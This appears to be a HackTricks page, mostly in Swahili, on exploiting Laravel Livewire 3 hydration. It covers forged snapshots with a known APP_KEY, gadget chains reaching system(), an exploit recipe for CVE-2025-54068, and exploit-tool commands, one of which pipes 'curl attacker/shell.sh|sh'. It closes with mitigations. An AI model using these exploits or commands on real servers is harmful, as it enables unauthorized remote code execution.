Laravel Livewire Hydration & Synthesizer Abuse
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Muhtasari wa state machine ya Livewire
Komponenti za Livewire 3 zinabadilishana hali zao kupitia snapshots ambazo zina data, memo, na checksum. Kila POST kwenda /livewire/update inarudisha snapshot ya JSON upande wa server na inatekeleza calls/updates zilizo kwenye foleni.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Mtu yeyote anayeishikilia APP_KEY (inayotumika kutoa $hashKey) kwa hivyo anaweza kutengeneza snapshots yoyote kwa kuhesabu tena HMAC.
Properties ngumu zimeandikwa kama synthetic tuples zinazotambuliwa na Livewire\Drawer\BaseUtils::isSyntheticTuple(); kila tuple ni [value, {"s":"<key>", ...meta}]. Kiini cha hydration kinamkabidhi kila tuple kwa synth iliyochaguliwa katika HandleComponents::$propertySynthesizers na kitarudia juu ya watoto:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Muundo huu wa kurudisha unaifanya Livewire kuwa mashine ya jumla ya kuunda vitu (generic object-instantiation engine) mara tu mshambuliaji anapodhibiti ama metadata ya tuple au tuple yoyote iliyoko ndani inayosindikwa wakati wa recursion.
Synthesizers that grant gadget primitives
| Synthesizer | Tabia inayodhibitiwa na mshambuliaji |
|---|---|
CollectionSynth (clctn) | Instantiates new $meta['class']($value) after rehydrating each child. Any class with an array constructor can be created, and each item may itself be a synthetic tuple. |
FormObjectSynth (form) | Calls new $meta['class']($component, $path), then assigns every public property from attacker-controlled children via $hydrateChild. Constructors that accept two loosely typed parameters (or default args) are enough to reach arbitrary public properties. |
ModelSynth (mdl) | When key is absent from meta it executes return new $class; allowing zero-argument instantiation of any class under attacker control. |
Kwa sababu synths zinauita $hydrateChild kwa kila kipengee kilicho ndani, grafu za gadget yoyote zinaweza kujengwa kwa kuweka tuples kwa kurudisha (recursively).
Forging snapshots when APP_KEY is known
- Kamata ombi halali la
/livewire/updatena decodecomponents[0].snapshot. - Ingiza nested tuples zinazobainisha gadget classes na upange upya
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Encode upya snapshot, uwaache
_token/memobila kubadilisha, na rudia kupeleka ombi.
Uthibitisho mdogo wa utekelezaji unatumia Guzzle’s FnStream na Flysystem’s ShardedPrefixPublicUrlGenerator. Tuple moja ininstantiate FnStream na data za constructor { "__toString": "phpinfo" }, ile inayofuata ininstantiate ShardedPrefixPublicUrlGenerator na [FnStreamInstance] kama $prefixes. Wakati Flysystem inapotugharamia kila prefix kuwa string, PHP inaita callable ya mshambuliaji __toString, ikitelekeza wito wa function yoyote bila hoja.
From function calls to full RCE
Kwa kutumia primitives za instantiation za Livewire, Synacktiv walibadilisha mnyororo wa phpggc Laravel/RCE4 ili hydration ianzishe object ambayo hali yake public Queueable inasababisha deserialization:
- Queueable trait – any object using
Illuminate\Bus\Queueableexposes public$chainedand executesunserialize(array_shift($this->chained))indispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) is instantiated viaCollectionSynth/FormObjectSynthwith public$chainedpopulated. - phpggc Laravel/RCE4Adapted – the serialized blob stored in
$chained[0]buildsPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()finally callscall_user_func_array($closure, $args)enablingsystem($cmd). - Stealth termination – by handing a second
FnStreamcallable such as[new Laravel\Prompts\Terminal(), 'exit'], the request ends withexit()instead of a noisy exception, keeping the HTTP response clean.
Automating snapshot forgery
synacktiv/laravel-crypto-killer sasa inakuja na mode ya livewire inayoshona kila kitu:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Chombo huchambua snapshot iliyorekodiwa, kinaingiza gadget tuples, kinakokotoa tena checksum, na kuchapisha payload ya /livewire/update tayari-kutumwa.
CVE-2025-54068 – RCE bila APP_KEY
Kulingana na tahadhari ya msambazaji, tatizo linaathiri Livewire v3 (>= 3.0.0-beta.1 and < 3.6.3) na ni ya kipekee kwa v3.
updates zinaunganishwa kwenye hali ya component baada ya checksum ya snapshot kuthibitishwa. Ikiwa property ndani ya snapshot ni (au inakuwa) synthetic tuple, Livewire inatumia tena meta yake wakati ikihydrate thamani ya update inayodhibitiwa na mshambuliaji:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- Tafuta Livewire component yenye public property isiyo na type (mfano,
public $count;). - Tuma
updatesinayoweka property hiyo kuwa[]. Snapshot inayofuata sasa inaihifadhi kama[[], {"s": "arr"}].
A minimal type-juggling flow looks like this:
POST /livewire/update
...
"updates": {"count": []}
Then the next snapshot stores a tuple that keeps the arr synthesizer metadata:
"count": [[], {"s": "arr"}]
- Tunga payload nyingine ya
updatesambapo property hiyo ina array iliyowekwa kwa kina inayojumuisha tuples kama[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Wakati wa recursion,
hydrate()inatafakari kila child iliyoko ndani kwa kujitegemea, hivyo attacker-chosen synth keys/classes zinaheshimiwa hata kama tuple ya nje na checksum havibadiliki. - Tumia tena primitives sawa za
CollectionSynth/FormObjectSynthkuanzisha gadget ya Queueable ambayo$chained[0]ina payload ya phpggc. Livewire inashughulikiaupdateszilizoumbwa, inaitedispatchNextJobInChain(), na inafikiasystem(<cmd>)bila kujuaAPP_KEY.
Key reasons this works:
updateshazijafunikwa na checksum ya snapshot.getMetaForPath()inaamini synth metadata yoyote iliyoikuwapo kwa property hiyo hata kama mshambuliaji alikuwa amelazimisha kuwa tuple kupitia weak typing.- Recursion pamoja na weak typing hufanya kila array iliyoko ndani kutafsiriwa kama tuple mpya kabisa, hivyo synth keys yoyote na classes yoyote hatimaye zinafika wakati wa hydration.
Livepyre – end-to-end exploitation
Livepyre inat automatisha zote mbili: APP_KEY-less CVE na signed-snapshot path:
- Inapigia alama version ya Livewire iliyowekwa kwa kuchambua
<script src="/livewire/livewire.js?id=HASH">na kuoanisha hash na vulnerable releases. - Inakusanya baseline snapshots kwa kucheza tena vitendo visivyo hatari na kutoa
components[].snapshot. - Inatengeneza ama payload ya
updatespekee (CVE-2025-54068) au forged snapshot (known APP_KEY) inayojumuisha chain ya phpggc. - Kama hakuna object-typed parameter kwenye snapshot, Livepyre inarudi kwenye brute-forcing ya candidate params ili kufikia property inayoweza kutolewa/coercible.
Typical usage:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check inafanya probe isiyo ya kuharibu, -F inaruka version gating, -H na -P huongeza custom headers au proxies, na --function/--param hubinafsisha php function inayoitwa na gadget chain.
Mambo ya kujilinda
- Sasisha kwenye Livewire builds zilizorekebishwa (>= 3.6.4 according to the vendor bulletin) na deploy vendor patch kwa CVE-2025-54068.
- Epuka weakly typed public properties katika Livewire components; explicit scalar types zinazuia property values kubadilishwa kuwa arrays/tuples.
- Sajili synthesizers unazohitaji tu na tibu user-controlled metadata (
$meta['class']) kama isiyokuwa ya kuaminika. - Kataa updates zinazobadilisha JSON type ya property (e.g., scalar -> array) isipokuwa ziwe zimepitishwa wazi, na re-derive synth metadata badala ya kutumia tena stale tuples.
- Zungusha
APP_KEYmara moja baada ya disclosure yoyote kwa sababu inaruhusu offline snapshot forging bila kujali jinsi code-base ilivyorekebishwa.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


